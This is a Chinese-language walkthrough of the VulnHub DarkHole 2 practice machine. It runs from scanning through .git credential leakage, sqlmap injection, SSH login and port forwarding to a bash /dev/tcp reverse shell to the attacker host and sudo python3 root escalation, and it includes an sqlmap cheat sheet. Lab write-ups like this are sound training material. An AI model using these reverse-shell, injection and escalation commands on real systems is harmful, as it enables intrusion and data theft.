1.靶機部署
[Onepanda] Mik1ysomething
靶機下載:https://download.vulnhub.com/darkhole/darkhole_2.zip
直接使用VMware導入打開就行
注意:靶機的網絡連接模式必須和kali一樣,讓靶機跟kali處于同一網段,這樣kali才能掃出靶機的地址。
2.信息收集
2.1 獲取靶機ip(arp-scan/nmap)
2.信息收集
2.1 獲取靶機ip(arp-scan/nmap)
arp-scan -l nmap 192.168.135.0/24
2.2 詳細信息掃描(nmap)
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.135 nmap -sS -p---min-rate 10000 $ip
發現開放了80端口,訪問一下看看
2.3 敏感目錄掃描(dirsearch/dirb/gobuster/御劍/7bscan)
dirsearch -u http://192.168.135.135 -e * dirb http://192.168.135.135
2.4 指紋收集(whatweb)
whatweb -v 192.168.135.135
3.滲透過程
3.1 訪問敏感目錄文件
信息收集時發現存在.git目錄,訪問存在文件
3.2 git文件泄露
使用git-dumper工具分析git文件
沒有的話安裝地址:git-dumper/README.md at master · arthaud/git-dumper · GitHub
git-dumper: 一個.git文件夾的dump取,但是這個工具dump下的文件是可以執行git命令的
3.2.1 git-dumper下載git文件夾的內容到bf目錄文件夾
3.2.2 bf文件夾中查看日志
git log命令解釋:
3.2.3 對比三次提交
使用git里面的diff參數獲得當前工作目錄和上次提交的差距,三個哈希值一個一個嘗試。
git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 ? git diff a4d900a8d85e8938d3601f3cef113ee293028e10 ? git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917
嘗試到第二個發現一組用戶名和密碼信息
lush/321 lush@admin.com/321
3.3 登錄網頁
前面信息收集還有一個web網頁端,嘗試登錄
登錄成功
進入頁面發現url里面存在id=1,發現id值是不是想到SQL注入。
當我們將id的值設置0或者null頁面的消息消失。
嘗試后面加個單引號,發現報錯,確定存在SQL注入
3.4 SQL注入
3.4.1 獲取網站的cookie的值
直接f12刷新找回包(不會?找不到?直接私信我手把手教你)
3.4.2 利用獲取的cookie的值進行爆破(sqlmap)
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 --current-db sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -dbs sqlmap爆破得到數據庫名darkhole_2
sqlmap基本操作筆記: -u #注入點 -f #指紋判別數據庫類型 -b #獲取數據庫版本信息 -p #指定可測試的參數(?page=1&id=2 -p "page,id") -D "" #指定數據庫名 -T "" #指定表名 -C "" #指定字段 -s "" #保存注入過程到一個文件,還可中斷,下次恢復在注入(保存:-s "xx.log" 恢復:-s "xx.log" --resume) --level=(1-5) #要執行的測試水平等級,默認為1 --risk=(0-3) #測試執行的風險等級,默認為1 --time-sec=(2,5) #延遲響應,默認為5 --data #通過POST發送數據 --columns ? ? ? #列出字段 --current-user ? #獲取當前用戶名稱 --current-db ? ? #獲取當前數據庫名稱 --users ? ? ? ? #列數據庫所有用戶 --passwords ? ? #數據庫用戶所有密碼 --privileges ? ? #查看用戶權限(--privileges -U root) -U ? ? ? ? ? ? ? #指定數據庫用戶 --dbs ? ? ? ? ? #列出所有數據庫 --tables -D "" ? #列出指定數據庫中的表 --columns -T "user" -D "mysql" ? ? #列出mysql數據庫中的user表的所有字段 --dump-all ? ? ? ? ? #列出所有數據庫所有表 --exclude-sysdbs ? ? #只列出用戶自己新建的數據庫和表 --dump -T "" -D "" -C "" ? #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname) --dump -T "" -D "" --start 2 --top 4 # 列出指定數據庫的表的2-4字段的數據 --dbms ? #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) --os ? ? #指定系統(Linux,Windows)
3.4.3 獲取數據庫darkhole_2下的表名
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 --tables --batch 爆破得到兩個表ssh/users
3.4.4 獲取表里的列信息
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T users -dump sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T ssh -dump 爆破得到ssh用戶名和密碼 jehad/fool
3.4.5 SSH連接
ssh jehad@192.168.135.135 jehad/fool
3.5 提權
3.5.1 查看權限
3.5.2 查找SUID文件
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null
3.5.3 查看計劃任務
cat /etc/crontab
查看一下/opt/web下的文件內容
發現允許遠程命令執行
3.5.4 查看歷史命令
cat .bash_history
3.5.5 查看/etc/passwd文件
cat /etc/passwd |grep "bin/bash" 發現多個用戶
3.5.6 詳細查看服務(命令執行)
curl "http://localhost:9999/?cmd=cat%20/etc/passwd" curl "http://localhost:9999/?cmd=id"
可以查看到這個服務歸屬于用戶losy
3.5.7 獲取losy權限
重新登錄ssh,使本地端口與靶機端口映射,訪問本地端口轉發到靶機 ssh jehad@192.168.135.135 -L 9999:localhost:9999 ssh -L 9999:127.0.0.1:9999 jehad@192.168.135.135
3.5.8 反彈shell
在之前我們通過查看歷史命令發現可以進行遠程命令執行,而命令執行的角色屬性是losy用戶的。使用SSH 隧道連接端口 9999,訪問 127.0.0.1:9999 進行 RCE。
kali構造 bash -c 'sh -i >& /dev/tcp/192.168.135.129/1234 0>&1' url編碼: bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
kali使用nc開啟端口監聽
nc -lvnp 1234
kali可以在瀏覽器直接訪問:
http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
也可以通過curl的訪問
curl http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
成功拿到losy權限
直接交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
歷史命令history查看發現password密碼:gang
直接ssh連接losy用戶
ssh losy@192.168.135.135
sudo -l 利用python提權 sudo python3 -c 'import pty; pty.spawn("/bin/bash")' sudo python3 -c 'import os; os.system("/bin/bash")'
cd /root ? cat root.txt ? 獲取到flag文件
本篇文章滲透結束 感謝大家的觀看!!